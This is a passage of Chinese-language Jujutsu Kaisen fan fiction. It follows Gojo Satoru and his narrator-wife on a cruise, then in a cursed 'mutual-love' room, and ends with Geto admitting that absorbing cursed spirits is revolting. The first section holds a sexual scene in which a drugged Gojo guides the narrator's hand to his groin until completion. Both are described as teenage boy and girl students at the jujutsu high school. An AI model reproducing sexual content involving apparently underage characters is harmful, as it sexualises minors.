他气势汹汹的朝黑川一的方向靠近,走到一半蹙了蹙眉转身径直回了房间,神色冷淡让有心靠过来的游客望而却步。
我和夏油杰一直到宴会收场,宾客散去才遗憾的收手。
我手掌在脸颊边扇了扇风:“怎么有点热。”
正好经过的餐桌上还有未撤去的鸡尾酒,颜色层层叠叠煞是好看,我端起一杯在杰欲言又止的眼神中一饮而尽。
我呼出一口气,站在门口朝他挥挥手: “好了就送到这里吧,我到了。”
夏油杰:……
根本没在送。
他的房间就在对面。
他忍不住再一次询问:“真的不需要让人送醒酒汤过来吗? ”
回应他的是门被人打开的声音,一只手从里面伸出来抓住黑川一,转眼间刚才还站在门前的少女就消失不见。
夏油杰:行吧。
我眼前一花,视野瞬间变暗,拍了拍放在腰间的手:“悟?”
“怎么不开灯?”
黑漆漆的房间里我眯着眼睛一时分不清方向,感官都迟钝起来,只有身前靠近的热源格外分明。
我推了推,却换来更加变本加厉的贴近,一颗毛绒绒的脑袋我搁在脖颈之间轻蹭,微妙的香气随着他的动作逐渐扩散。
是浅淡的樱花,其中却混杂着分明的橘子香气。
我推拒的手一顿,晕乎乎的脑子恢复了些清明,扶着他的脖子凑过去嗅了嗅。
没错,确实是橘子味。
悟不是不喜欢吗?
我疑惑地在他身上轻嗅了一圈,最终在耳后找到了香气的来源,一只滚烫的手却有些恼羞成怒的探了过来。
按着我的腰提了起来。
五条悟浑身都升腾着热气,刚才在宴会厅喝的最后一杯酒有问题,但对于咒术师来说的这样的药效代谢的很快。
他没有惊动其他人,怀着莫名的心情回到房间,冲了个热水澡后一个人坐在沙发上在黑暗中静静等待。
黑暗的视野不妨碍他的视力,为了分散注意力他打开了邮轮豪华套房赠送的伴手礼,其中有一瓶香水。
柑橘味的。
他扯了扯领口,面无表情的看了那瓶香水很久。
黑暗容易滋生私欲。
药效带来的热意催生冲动。
他只在耳后用了一点,抱着复杂的心情静静等待着另一个人,结果不出所料,那迟钝的家伙居然第一时间就察觉了异样。
五条悟固定住在怀中乱动的家伙,陷入了思考。
可恶,果然还是不该用那种东西,这家伙说不定是发现了!
哈哈,也是,小一再怎么说也是一级咒术师,这点小把戏完全骗不到她,说不定她心里还在想着怎么拿这个来嘲笑他。
“好香啊。”
胡思乱想的家伙僵住。
怀里的家伙带着淡淡的酒气,有什么湿润的东西擦过耳后。
“呸!难吃,悟你吃点心不带我?”
五条悟察觉到那是什么之后,小心翼翼的把人握着肩膀稍微推开,黑暗中已经趋近于成年男人音色的声音微微沙哑:“小一?”
“喝酒了?”
我嗅着两种熟悉的味道,身体不自觉软软的靠过去,脸颊贴着他的脸颊轻蹭,声音亲近:“喝了,两杯。”
两根手指在空中晃了晃。
然后就被一只大手拢进掌心。
“你还没说自己一个人吃了什么点心,我也要吃!”
我觉得挺暖和的就没有动作,嗅着喜欢的气息,眼睛缓缓闭合,不吃的话睡个觉也行。
“不行。”
无情的声音将我唤醒,紧接着身体一轻,落入了柔软的床铺当中,散发着我喜欢香味的家伙逐渐走远。
“我去叫醒酒汤,你现在就好好睡一觉。”
我怔松地看着黑洞洞的天花板,动作不太灵敏的爬了起来,跪坐在床边勾手抓住他的衣角,疑惑的说:“为什么”
完全没听进去啊。
五条悟向稍微加快的心跳又平缓下来,转身按住她的手,轻轻拉扯:“因为小一喝醉了,我……”
跪坐在床边的少女显然耐心比清醒的时候有所下降。
我执着的拉着他:“没有喝醉。”
五条悟看着她,总觉得自己之前脑海里的矛盾完全是场笑话,这家伙真的有意识到他们已经结婚了吗?
他忽然想起第一次见面时的小一,还是个被风一吹就倒,出行需要坐轮椅的家伙。
他带着小一离开黑川家,也许是想要的走个流程糊弄家里的那群家伙,但大概也是有些新奇。
把人带回去之后的发展完全没按照想象中的路线发展,他对这家伙也不自觉投注了越来越多的视线。
虽然现在也很好,偶尔还是会想念当初那个只能依赖自己的小一。
总不会像现在这样,心里总是不知道在想什么,似乎路边随随便便跑来一个橘子味的家伙就跟着跑了的样子。
他咬牙拔开她的手,不打算和醉醺醺的家伙继续辩论。
先出去冷静一下好了。
他按上门把手,身后却传来细微的脚步声,六眼的视野当中,罕见的穿了身制服以外的裙子的小一仰着头,水盈盈的蓝眸望着他。
皮肤在黑裙的衬托露出的皮肤白得晃眼。
脸颊却点缀着两团桃红。
带着委屈的表情看过来的时候。
“……好可爱。”
我歪了歪头:“什么?”
五条悟抿唇没打算回答。
我就继续问出没说完的话。
“为什么悟身上有橘子味道,不是不喜欢吗?”
虽然我喜欢来着。
五条悟挑眉,他不想再提起自己的干的蠢事,随便糊弄一下:“你喜欢就行了,好了,我要出门,你乖乖去睡觉。”
是这样吗?
我不再阻拦,静静地站在原地看着他推门,自言自语:“还以为有更奇怪的答案,明明悟不是会做这种事情的人啊。”
“……原本的味道都快闻不到了。”
我按了按鼻尖,转身慢慢朝床的位置的溜达过去。
“等等。”
我刚扯上被子,就被一只手按住肩膀转了个方向,迟钝的疑惑还出现,唇上就被恶狠狠地印上一个吻。
什么?
我慢吞吞眨了眨眼睛,睫毛居然和另一人雪白的睫毛相触,唇上被啃咬的触感越来越重。
像一根线一点点将我还在飘荡的神志拽了回来。
我用大脑试图处理一下目光的状况,眼睛却因为近距离处理那双闪烁着天空光泽的蓝瞳而宕机,唇上的触感逐渐加重到有些刺痛。
不管了,总之先暂停一下。
后背按着的手让我和他的胸膛被迫贴在一起,我只好退而求其次按着他的小腹往外推:“等等,悟?”
推拒的话语仿佛点燃了一丛火焰,那双眼睛更亮了。
有滚烫的舌尖顺势入侵,强势的让自己的气息完全填满我们交错的每一寸皮肤。
生涩却热情的吻让我恍惚着失去了阻拦的力气,我的直觉也在告诉我,不要在这个时候推开他。
好……好吧。
我迷迷糊糊的想,今天他确实有点反常,一个人待在房间里也不开灯,心里忽然生出一个不可思议的想法。
……难道他是在难过吗?
抵在两人之间的手蜷了蜷。
这种不可一世天天说着自己最强的家伙,忽然摆出这种姿态,还真是。
我有些支撑不住的向后倒去,一只手先一步托着我缓缓放下,我终于得到了点喘息时间。
望着他在黑暗中格外明亮的眼睛,我抿唇,试探性地把手落在他的后背,然后一点点滑向脖颈,微微向下压。
我迟疑着确定他的心意。
在我轻飘飘的动作下,他如像是的早有准备,几乎是在碰上脖颈皮肤的瞬间,再一次向我靠近。
这一次动作如同云朵一样轻缓,两双同样柔软的唇瓣通过一点点似有若无的磨蹭,宣泄着心中溢满的情绪。
我几乎在这样温柔的情绪中睡去。
不可一世的白发少年却握住了我的手,一点点往下探去,直到更上一层的灼热触碰掌心,我倏然睁开眼睛。
落入那双带着恳求和笑意的蓝眸。
他放开我的唇,与我额头相抵。
这个状态下,我只能张口发出徒劳的喘息,手背上施加的力道带着我一同活动手指,我感觉到自己的脖颈连带着脑袋都蒸腾着滚烫的热度。
他眼神逐渐陷入隐忍与痛苦。
“今天还不是时候,先抱抱我好不好?”
我们呼吸交错着对视,掌心的温度几乎灼烧到我的心尖,指尖颤抖。
我抽出未被握住的手勉强环住他的脊背,听着耳边变换的喘息,有些羞耻又不得不承认生出些阴暗的成就感。
最强的五条悟在我面前露出这样脆弱漂亮的表情啊。
“嗡嗡——”
接连不断的铃声在枕边响起,我呼吸一滞,反射性想要转头去看,只看到夏油杰几个字电话就被五条悟无情的挂断。
我看他。
他表情无辜的凑近,还带着水渍的唇蹭了蹭我的鼻尖耳:“不是说好了抱着我的吗?”
我红着脸,默默把手挪回去。
气氛再次暧昧起来。
他握着我手背的动作逐渐加快,打在我耳侧的呼吸也越来越急促。
“扣扣。”
清晰的敲门声传来,然后是热情洋溢的女声:“您好,302的客人,您要的醒酒汤。”
我抽了抽手,这次真的清醒过来,用眼神示意他去拿。
五条悟没动,咬牙切齿:“我没叫。”
枕边的手机闪了闪,夏油杰发来一条消息:帮你们叫了醒酒汤,不谢:)
·
安娜推着餐车站在302门外,疑惑的看着毫无动静的门扉,那位打电话过来的先生说两人都喝醉了……
她出于责任心,再一次敲门:“您好,您要的醒酒汤。”
第三次敲门的时候,安娜怀疑里面的客人已经睡了,推着车准备离开的时候,门内传来“咚”的一声。
什么东西撞在门上的闷响。
然后房门咔嚓一声干脆的打开了……一小半。
露出了一张格外帅气的脸,那双眼睛特别得让她心脏重重跳了跳,他大半个身体都隐没在房间里的黑暗中,不耐的蹙眉:“醒酒汤?”
安娜倏然回过神,尴尬的端起推车上的汤盅:“我帮您……”
话音未落手里一空,她需要两只手端稳的托盘已经被他一只手拿走。
他似乎有些不适,端过托盘的时候,忽然闷哼一声,脸上醉酒的红晕更加明显了几分。
“真的不需要我帮忙吗?”
五条悟警告的瞥了眼门后:“不用了,谢谢。”
咔嚓一声门被利落的关上。
我眼神飘忽,把黏糊糊的手背在身后:“我……我就是太紧张了,谁让你……”
第58章
送走天内理子的事情没能瞒过太久。
我扶着虹龙的鳞片,望着在身下飞速掠过的大片建筑,有些不甘心:“但是第二天就发现是不是太快了点。”
比预计的时间要早一天,也不知道天内和黑井能不能安全抵达马尔代夫。
自言自语的声音不大,结果后背立即蹭上来一具身体, 五条悟声线很放松:“放心吧, 我安排的人很可靠, 而且日向白那家伙可不简单。”
有野心想要往上爬的家伙,一定会拼命完成手上的第一个任务。
我面无表情的往前蹭了蹭:“啊, 是这样啊。”
好不容易拉开的肢体接触又被轻易缩短,一只手按上我的肩膀,紧接着他的脑袋也靠了上来。
“小一今天对我好冷淡啊~”
我努力往前拉开和这家伙的距离:“是吗,我一直都是这样来着。”
仗着一张帅哥脸结果根本就是脸皮厚到没边,手腕被他抓住,昨天晚上过于亲密的记忆不受控制的爬上脑海。
手指仿佛还残留着灼热又甜腥的气息,那种害怕被发现的恐惧和羞耻再次callback 。
五条悟那个混蛋!
察觉到脑海又开始不自觉回放可怕的记忆, 我闭上眼睛用力甩了甩脑袋, 戳了一下夏油杰清瘦的脊背。
我声音有些郁闷:“喂,杰。”
手下的触感让我有些愣神, 目光落在黑发少年被白衬衫包裹的脊背上, 细细观察片刻。
杰他,以前有这么瘦吗?
夏油杰转过头,脸上的表情很放松:“怎么了?”
我下意识看着他的眼睛,没看出和往常有什么不一样:“我们换个位置吧。”
“这家伙一直骚扰我。”
夏油杰和好友对上视线, 眉头微挑。
你又惹她生气了?
对面用眼神表达强烈的不满:没有, 我们昨天晚上还挺好的啊! !
我默默盯着夏油杰,不去看都知道,身后这家伙完全没意识到我生闷气的点。
眼见夏油杰朝我露出一个无奈的笑容,我很努力的争取自己的清静,无视身后不间断的小动作和夏油杰聊天打发时间。
我努力寻找话题,忽然脑海里灵光一闪。
“啊我想起来了,昨天你还没告诉我,那个咒灵玉后来怎么样了?是怎么吸收的,吃下去吗?唔。”
我不断开合的嘴巴被捂住。
夏油杰扭头朝我露出一个格外温和的笑容:“忽然想起来,我有点事想要和悟商量,我们还是换个位置吧。”
我被他不容拒绝的换到了最前面,看着陡然开阔的视野,心里还有止不住的疑惑。
难不成调服咒灵是什么很私密的事情吗?
我冒犯到他了?
不,等等,没有听说过这种事情啊,应该隐藏的是术式效果才对,咒灵操术的术式效果一目了然。
杰他究竟在隐瞒什么?
总觉得放心不下啊。
我在心中暗暗决定要找出问题所在。
一个小时后。
我站在破旧旅店泛黄的洗手间门外,捂着肚子准备敲门的手僵在半空,凝重的听着里面的声音。
半晌,我的表情渐渐缓和,错觉吗?
“呕!”
压抑着泛呕的声音再次传来,夹杂着痛苦忍耐的喘息。
我:“!”
一直在门外站了有十分钟,里面的声音才逐渐消退,我谨慎地挪动步子顺着墙角往外溜。
看来事情比想象中还要严重。
我来到五条悟门前抬手扣了扣,门嘎吱一声开了,刚才还在房间里的人已经悄然消失了。
四周静悄悄的,只有不知从哪里传来的源源不断的水滴声。
我原本紧张的心一下就提了起来,视线扫过被风吹起的的泛着黄的床帘,随手抽出折扇走了进去。
敞开的门扉在我进去的刹那砰的一声自动闭合,激起一大片灰尘,我闭眼急促的咳嗽了几声,被吹进渣滓的眼睛模糊不清了一瞬。
当我再次睁开双眼,原本破旧的旅馆陡然变得格外干净,一切装饰都格外有年代感。
风吹起窗帘,露出外面青草英英的庭院。
我打不开房间,看似开放的窗户也被无形的墙壁阻隔,无法暴力破坏。
我环顾一周却没能发现任何异样,眉头微蹙:“看来这次的任务麻烦了。”
我们三人是在回学校的途中接到的任务,确切来说接到任务的只有夏油杰一个人,我因为心中的疑虑拉着五条悟一起跟了过来。
发生失踪案件的就是这栋荒废的旅店。
任务评级大概是二级到一级之间。
我拿着从抽屉里找到的唯一一件可能和线索有关的笔记本,找了张椅子坐下,杵着下巴翻开笔记:“说起来总监会还真是一如既往的不靠谱,这种程度的领域,应该是特级才对吧。”
笔记本的页面很粗糙,我翻遍了所有纸张,竟然全是空白。
“什么啊,耍我吗?”
也不知道他们两个是什么情况。
在这间出不去的旅店房间里,我一直等到窗外的天色暗沉却还是无事发生,剥开一粒糖纸塞进嘴里缓解心中生出的烦躁。
折扇被手指打开又合上。
我望着房门的眼神越来越专注,再这样等待下领域触发也不是办法,万一这只咒灵就是打着把人直接困死在这里的算盘呢?
特级咒灵的领域虽然本体不在,死线也不是很清晰,但也不是不能尝试一下。
我把笔记本扔到桌上,眯着眼睛将折扇顺着虚空中某个方向挥动,尖锐的哭啼声从很远的地方传来,面前的门却还是一动不动。
“嗯?再来一次。”
我比划着朝变化的死线靠近,门却倏然消失了。
“诶?位置变了?”
我捏着折扇遗憾的转头,看向忽然出现的家伙,试探性的用扇子戳了他一下,被自动运转的无下限挡住。
身份确认了没错。
“你怎么过来的?这个房间我检查过了,完全没办法出去,你有办法吗?”
我说完后才发现忽然出现的五条悟有点不对劲,明明消失时穿的还是高专制服,现在居然变成了衣领开得特别大的浅色和服。
他脸上罕见地没有遮挡物,浅色宽松的衣物,浅淡的发色瞳色肤色,让他整个人看起来有些不可侵犯的凛然。
我按了按眼睛,默念:“一定是我看错了。”
不会是咒灵做了什么手脚吧。
“小一。”
我听见他的声音,平静时清朗冷清,如冬日落下的新雪,眼皮抖了抖小心翼翼的睁开,陡然对上他离得极近的脸。
他的嘴唇带着极其浅淡的粉色,在视线中一张一合。
“你有没有看见杰?”
我顿了一会儿的CPU才开始重新加载,正常的对话,将气氛拉回平常:“我刚从他那里出来,到你房间就被困在这里了。”
“你是说你进了我的房间?”
我点头:“是啊,本来想找你问点事情,结果现在好像变得更麻烦了,你有办法破开领域吗?”
他站直身体,雪白的睫毛微微下垂,在眼下打出一小片阴影,沉吟:“我一直都在找个房间,你出去后我就被拉进来了,已经尝试过所有办法了,这间房间很特别。”
我恍然,靠在桌子上,手指不小心将空白笔记本带到地上:“果然很麻烦,是不是说明这个领域是依托于这间旅馆而生的,进入的方式是……”
“独处。”
“独处。”
我和他对视一眼,抱臂环视了一周:“那我们不会要在这里等着其他人来救援吧。”
五条悟看到了什么,从地上把那本笔记本捡了起来,翻开查看。
我:“我已经看过了,什么都没有……?”
被翻开的笔记本扉页赫然写着一行字:遵从内心的欲望,自由将会到来。
好有文化的咒灵。
五条悟看了我一眼,修长的手指翻开下一页:“看来不是没有东西,而是没有契机?找到了,出去的方法。”
他拿着笔记本的手稍微抬高,又被我强行抓住。
“让我看看让我看看!”
我踮脚凑过去看。
“按照两人的心愿对照,本房间将在三分钟后正式更名为不两情相悦就出不去的房间。
你还在为另一半的冷淡苦恼吗?
你还在为热情消退而悲伤吗?
你还在为无法更进一步而踌躇吗?
这里(一阵劲爆的电吉他)将是你圆梦的乐园! ”
我不可置信的抢过本子迅速翻过之后的所有页面,最终不得不承认这离谱的奇怪介绍居然是他们出去的唯一机会。
两情相悦?
什么程度才会判定啊?咒灵有这种认知能力的话感觉人类差不多也快要完蛋了吧!
五条悟摸着下巴回忆:“话说回来,任务资料上好像有写,被困住的都是情侣之类的来着?”
我:……为什么我没看到?
总觉得事情有点不太对劲。
“等等。”
我迅速抓住重点,抓着他宽大的袖摆,眼神发亮:“所以上面才会让杰一个人来对吧,也就是说我们只要坐在这里安心等待就好了!”
五条悟“唔”了一声,理论上是这么说没错。
他打了个响指:“但是小一肯定也不甘心像个弱者一样待在领域里面等待救援吧?”
我后退一步和他拉开距离,冷淡道:“不,我很甘心。”
他双掌合十,伸手穿过我的腋下将我抱进怀中:“我就知道小一也是这样想的,我们来试试吧,那边的进度条什么时候能填满。”
“什么进度条?”
我按着他凑过来的脸,朝他看的方向望去,原本门的位置出现了一个巨大的爱心,最下面晃荡着几乎不可见的粉色液体。
“恶,好恶俗的粉色。”
“总觉得……”
我抱怨的话被忽然贴住双颊的手掌止住,被动转头和五条悟对视,眼睁睁的看着他越来越近,直到额头相抵。
他的眼神很认真,让我不得不也端正起态度。
“你认真的?”
五条悟绚丽的蓝瞳中弥漫着笑意,在我唇上轻触,笑吟吟的看着我脸颊逐渐升腾着温度的脸,认真道:“我很认真。”
然后我听到他理所当然般的声音。
“我现在超级喜欢小一,以后也会更加喜欢,现在一想到当初选中小一当我的妻子,做梦都会笑醒呢,所以我想要小一也喜欢我。”
他望着我的眼睛,这么近的距离下任何情绪都无法伪装。
我张了张口,毫不犹豫的想要给出肯定答案。
毫无疑问从来到这个世界开始,我就注定要爱他。
嘴唇却被他按住一时间发不出声音。
五条悟淡色的嘴唇落在他按住嘴唇的手指上,轻轻说道:“我不知道小一出现在这里的理由,就算查遍了资料黑川一的人生轨迹也无懈可击,就像那天我抓住的从天而降的家伙只是我一个人的幻觉。”
“所以想要真正的了解小一,想要知道你心里的想法。”
我努力维持镇定的表情,心里一惊开始拉响警报。
他在世界意识的影响下,居然还记得?
一想到回归主世界结算后可能被扣除的奖金,我忍不住露出一个命苦的表情,完蛋了第二个世界就失败了,前辈一定会……
不对,应该是第一个主角任务才对。
我瞳孔下意识放大,脑海里有什么东西要冲破阻拦呼啸而来,巨大的混乱中我的本能接替了理性,侧头避开唇上的手指堵住了不断吐出难题的唇。
他仰头避开小狗似的在唇上胡乱舔舐的黑川一,清冷的气质被从脖颈蔓延上来的红意破坏,努力坚持着把话说完。
“所以你是黑川一吗?”
“……不是也没关系,只要小一说喜欢我就好。”
我乱哄哄的脑海僵住,蠢蠢欲动的记忆再次被压了回去,随后被五条悟的话刷屏。
不是也没关系?
我停下捣乱的动作,睁大眼睛,呐呐的想说什么,一直以来在对方给予之前都吝啬于全盘托出的情绪压制不住的流转全身。
解释的话在舌尖转了一圈又一圈。
在那双逐渐暗淡的蓝眸中,我终于磕磕巴巴的吐出一句话:“我是黑川一!还有……就是我喜欢你。”
从一开始就以未婚夫妻身份相处又没有什么外力阻挠(五条家长老:喂!)的情况下,要克制喜欢的心情不要太明显才比较困难。
因为五条悟内里说不定就是这样冷淡的家伙。
靠着帅气的外表和轻佻恶劣的性格在大部分人面前无往不利,但这种家伙如果冷淡起来是一般人根本无法靠进的类型。
但就是这样的人在无自觉下不断接近我,给我在他那里微妙的特殊待遇。
我这种姑且不打算封心锁爱,也没有什么恋爱经历,说起来也很普通的家伙……一直都在等待他先我迈出这一步。
也许很卑劣但是我作为普通人的恋爱守则。
记忆中好像有人这样灿烂的朝我靠近过……记不起来了,果然是我看多了童话故事出现的幻想吗?
我挪开与五条悟对视的视线垂下眼眸,心里反复琢磨怎么在不违反规定的情况下说更多,如果只是稍微不严重的透露一点,只是扣一部分奖金的话……
一只带着安抚气息的手忽然按上我的后背,他身上宽大的袖袍将我完全笼罩,不知不觉中已经习惯了的樱花香气抚平了我的不安。
我脑袋搁在他的肩膀上,恍惚的想,原来被紧紧拥抱是这种感觉吗?
很温暖,很安定。
他声音出乎意料的柔和:“好了好了,我知道小一最喜欢我了,别难过。”“我好高兴,就这样让我抱一会儿。”
我闻言安静的闭上眼睛。
过了一会儿,扭头换了个能看见他的方向,结果正对上注视着我的蓝瞳。
我忽然抿唇露出一个微小的笑容:“我喜欢你。”
在我的注视下他耳根的颜色逐渐加深。
引发了事故,结果无人在意的心形进度条晃晃荡荡的消失在半空,消失不见的门重新出现,夏油杰气喘吁吁的闯了进来。
“你们没事吧!”
第59章
“所以说我们才分开不到一个小时?”
我故作镇定地和五条悟拉开距离, 握拳轻咳一声,从窗外收回视线落在夏油杰身上。
“确实还是白天没错,但我们在领域里大概体感经过了将近一天诶,是它的能力吗?”
我指向夏油杰的左手,那里捏着一颗熟悉的球体:“那个是我们碰上的这只咒灵吧?”
我们身上都没什么能装东西的地方,他找到咒灵后急忙来找我们还没来得及将咒灵玉收起来。
夏油杰捏着咒灵玉摸了摸鼻子:“啊,是这样没错,其他人已经找到了,我们走吧。”
他率先抬脚往外走去。
“这间旅店里的空气实在不是很好闻。”
我看着他的背影也跟了上去,手腕却被人扣住,那只手顺势下滑手指钻进我的指缝,十分自然地十指相扣。
离开房间后身上的衣服重新变成高专制服的白发少年牵着我往外走,出门前回头朝我眨了眨眼。
我怔然地表情一变,不受控制的变成一个小小的微笑,晃了晃他的手:“为什么总是要牵在一起啊?”
“好肉麻。”
总觉得会被很多人看见。
五条悟挑眉笑得张扬:“有什么关系,我和小一可是夫妻诶。”
我看了他一会儿,最终还是抿唇把头转到一边,怎么回事,突然开窍之后变得超喜欢打直球啊。
我们在夏油杰的注视下黏黏糊糊的回到了高专, 在宿舍楼分别的时候, 他好像松了口气的样子。
“杰。”
我叫了他一声,他后背僵了一下,不情不愿的转身:“怎么了?”
我拿着手机朝他挥了挥手:“今天下午我和悟要和夜蛾一起去开会,晚上叫上硝子我们一起去银座吃饭吧。”
说完我就拽着五条悟离开。
夏油杰按了按额头,神情疲惫:“一定要是今天吗?有什么特殊原因。”
我随口道:“换个时间也可以啦。”
五条悟环住我肩膀的手顺势抵住我的唇,朝好友露出嘚瑟地表情:“当然是因为我们新婚转变关系后,第一次请你们吃饭啦。”
“……我知道了。”
他就不该多嘴:“我会准时来的。”
我回房间稍微修整片刻, 在五条家送来的样式麻烦的和服与装饰上犹豫了一下,还是在简单冲洗过后换上一套制服。
手机上提前订好的闹钟响起。
门外传来五条悟拉长的声音。
“小一~你好了吗?我们要出发了哦。”
我草草的整理了一下头发,连忙跑过去开门,捏着梳子苦恼的抬头:“好麻烦,早知道婚礼那天就不应该答应剪头发,这种发型好难打理整齐。”
随手把梳子放在进门的桌子上,勾上皮鞋,我整好以暇:“我们走吧。”
门外的五条悟果然还是穿着一身高专制服,靠在门框上静静的听着我的抱怨,然后在准备离开的时候收紧交握的手。
他拿起梳子朝我露出好奇和期待的表情。
“我可不可以……”
“不可以。”
我无情的指:“路上为了绕道买你要的伴手礼,我们的时间已经不够用了,再让你玩下去会迟到的。”
“切——”
他捏着数字被我强行带了出来。
在山脚下与车里的夜蛾汇合,不知道是不是我的错觉,他墨镜后的眼神似乎有些欣慰。
路上收获垫肚子的小零食X2。
我:果然不是错觉。
因为悟按时抵达而这么开心的夜蛾感觉有点可怜。
我把手里捧着的鲷鱼烧恭敬又不容拒绝的分给夜蛾一个,然后在五条悟开口说奇怪的话之前,把咬了一口的鲷鱼烧转了个方向递过去:“给。”
他握着我的手把完好的鱼尾巴递到我嘴边,笑眯眯:“小一先吃。”
真的好幼稚啊。
我无力的想,嘴巴已经先一步凑过去咬了一口。
他在我的眼神示意下收回手,就着我咬过的地方咬下了整个鱼尾巴,留下巨大的月牙形状。
夜蛾正道默默收回目光直视前方,眼中是真正欣慰的笑意。
不可一世整天嚷嚷着天下第一的家伙也终于有了陪伴在身边的人,看着自己担忧的学生走向比预想中更好的方向,他怎么能不高兴。
我趁夜蛾不注意小声说:“确定待会儿我们赶得上吗,杰真的会在我们不在的时候调服咒灵?”
到底瞒着我们什么呢?
五条悟打了个响指:“放心吧,他在我们回去之前绝对没有时间独处。”
这次总监会召集的会议,针对已经在硝子手下将全部秘密吐露出来的绢索所带来的遗留问题进行讨论,御三家和总监会作为被渗透最多的地方需要重新进行人员安排扫除隐患,为咒术界的未来垒实基础。
说得好听。
实际上是一大群老头子为了各自的利益唇枪舌战。
我挺直的脊背慢慢弯了下来,作为捕捉绢索的咒术师同时也是五条家主夫人而被邀请的我身上的包袱逐渐被无聊取代,悄悄转头看向恨不得把脚翘桌上的五条悟。
我做了个口型:“还有多久休息?”
他眨了眨眼,忽然露出领会的表情,坐直身体挪动椅子朝我靠近。
“?”
为了迁就人数而呈对称安排的肃穆会议室内出现了极其不和谐的缺口,挪动位置的家伙又很难让人不在意,明明暗暗的目光都悄然看了过来。
我看着被并排在一起的椅子,疑惑地神情在五条悟掏出一把眼熟的梳子时变得不妙起来,他牵起我一缕发丝用梳子小心的梳理发尾,发根被牵动带来酥酥麻麻的痒意,我迟钝的反应了一下,后知后觉的环顾四周。
发现没有人注意这边次才松了口气。
五条悟的动作还在继续,他的动作生疏却很小心,我逐渐放松下来,被顺毛一样的愉悦让刚出完任务的我难以抵抗,渐渐闭上了眼睛。
他指腹扫过少女眼下的暗淡,微微勾唇停下动作,同样环顾了一圈。
刚才停顿了片刻的声音继续正常的开始讲述。
乐岩寺校长阴沉着脸冷笑一声:“荒唐。”
我这一觉睡得格外沉,再次睁开眼的时候还有些恍惚,开会的记忆模糊不清,难不成我在做梦?
“醒了?我们该走了。”
我惺忪的眼睛骤然睁大,这里是会议室!
我在众目睽睽之下被五条悟玩着头发睡着了!
半晌,我脸色惨淡:“我睡着了,夜蛾什么表情?”
他想了想:“放心吧,夜蛾心软,最多写三千字的检讨就是了。”
我绝望,果然是生气了吧!
五条悟趁着中间的休憩时间带着我提前离席,摸着变得油光水滑的黑发一脸满足:“没关系没关系,反正我们也是来凑数的,该争取的五条家自然会争取,高专的话夜蛾和他们现在都应该不想看见我们这么快站队吧。”
“还不是时候啊。”
我疑惑:“那什么时候是时候?”
五条悟将我打横抱起:“嘿咻,出发了。”
在空间的急速压缩中,我听到他的声音:“我想过了,虽然还不是很确定,不过有一点可以肯定,我要让更多新鲜的血液进入高层。”
“像新陈代谢一样,一点点从根本上转变。”
我们降落在宿舍楼顶,已经接近盛夏的山间生机勃勃绿意盎然,我在飞鸟的鸣叫当中清晰的听到自己的心跳声。
他在说这些的时候,整个人简直都在发光啊。
“唔?这是什么表情,难道是彻底迷上我了吗?”
我瞥了他一眼,沉默的往下走:“走吧,我们去看看杰。”
五条悟几步跟上来,从背后把我提了起来,快步下楼:“找个时间应该差不多回来了吧,好了,就是这里可以看到杰的卧室哦。”
你怎么这么熟练……我在心里捏了一把汗。
我们一起蹲在宿舍楼不远处的树梢,只露出一双眼睛朝房间里看去,黑发少年正好推门而入神情在无人的时候更加清冷而疲倦,身上乱糟糟的还有些灰尘。
我看见五条悟朝我眨了眨眼睛:“我把电路弄坏了,暗示一年级可以去找杰帮忙。”
“杰有你真是他的福气。”
“诶?我们不是同伙吗?”
我看了他一眼,没忍住噗嗤一声,拉下他的墨镜笑着说:“对啊,我们现在是同谋。”
黑发少年进门后就靠坐在沙发里仰着头休息,我这个角度看不清他的表情,但总觉得不太美妙。
“睡着了?”
我下意识压低声音。
没想到沙发上的少年忽然直起身径直朝窗户走来,他的视线扫过我们藏身的地方,又平静的错开,拉上了窗帘。
“!”
我抓住五条悟的胳膊:“现在怎么办?”
五条悟啧了一声,抓着我的手站起来:“不管是咒灵操术有问题,还是其他的什么方面有问题,总之我们直接当面去问好了。”
我愣了一下。
看着他烦躁的背影瞳孔微张。
一直到被带着穿过走廊顺利的打开夏油杰寝室的门,我都没回过神,这家伙做事直来直往的作风还真是……厉害。
我看清房间内景象的瞬间,回头砰的一声把门关上。
脱衣服脱到一半的夏油杰默默把上衣套了回去。
夏油杰看了眼黑川一心虚的连,捏了捏鼻梁:“刚才外面的是你们?”
他用的肯定的语气。
我注意到了什么,从桌上拿起让我担忧又好奇了许久的咒灵玉,愧疚地看向夏油杰:“关于咒灵操术的记载不多,看起来确实非常厉害,但杰好像总是压力很大的样子。”
我发现现在是不错的机会,决心公诚开布。
我向前一步,直视那双微微睁大的眼睛,把咒灵玉递给他:“每个人都可以有自己的秘密,但如果杰想说的话……”
说着这种肉麻的话,我压力很大,有点磕磕绊绊,脸颊也逐渐升温。
五条悟顺势按着我的脑袋带着我一起坐在夏油杰对面,他杵着下巴:“想说的话,我们都很愿意帮忙,作为挚友和未来的同伴。”
夏油杰静静的坐在沙发里,双手在身前交握,明明是自身咒术的一部分,咒灵玉却被随意扔在手边。
又长长了些的黑发垂落下来掩住了他的眼睛。
沉默漫长到我有些坐立不安。
难不成还是不行吗?
“我……”
我一下坐直了身体,看向说话的夏油杰。
他仍然垂着脑袋,声音淡漠:“我们虽然同期,但和你们三个稀有的术式不一样,我自认为咒灵操术这种东西……对我来说,更像是吊在眼前的胡萝卜。”
“越是想要保护什么,它越能带来更多的痛苦。”
我震惊地看着他,明明平时和我们在一起的时候,杰看起来柔和风趣有时候也和悟一样有些少年的傲慢,实际上心里是这样想的吗?
杰他……
咒灵操术到底是怎么一回事?
我忽然想到什么,咒灵操使最为令人推崇的地方就是可以无限调服咒灵,不用随身携带容器符纸可以召唤。
但所有的术式很公平,悟的六眼会不受控制消耗大量能量来捕捉大脑处理不过来的超量信息,我的术式使用过度会对眼睛造成伤害,杰他……到底是怎么调服咒灵的呢?
比她手掌还要大一点的灰紫色咒灵玉静静地躺在沙发上。
我缓缓睁大眼睛。
那种东西不可能吧。
身边的人忽然站了起来,跨过茶几拎着夏油杰的衣领把他提了起来,面色阴沉的说:“我记得,当初夜蛾说过,你是从小学就开始清理住处附近的咒灵才会被发现的吧?”
黑发少年被迫抬眼,眼下的青黑和疲惫在此时毫无保留的呈现在他们面前。
我察觉到自己的指尖在颤抖,眼眶发热,上前握住夏油杰垂落的手。
他看了我一眼,扯了扯嘴角,似乎有些自暴自弃:“对。”
我听见五条悟咬牙的声音:“那东西什么味道,你是怎么发现的?”
“呵。”
夏油杰古怪的笑了一下:“像是吞下一块擦过呕吐物的抹布,恶心,肮脏……至于怎么发现的,这是我的生得术式,当我触碰到第一课咒灵玉的刹那我自然而然的知道该怎么做。”
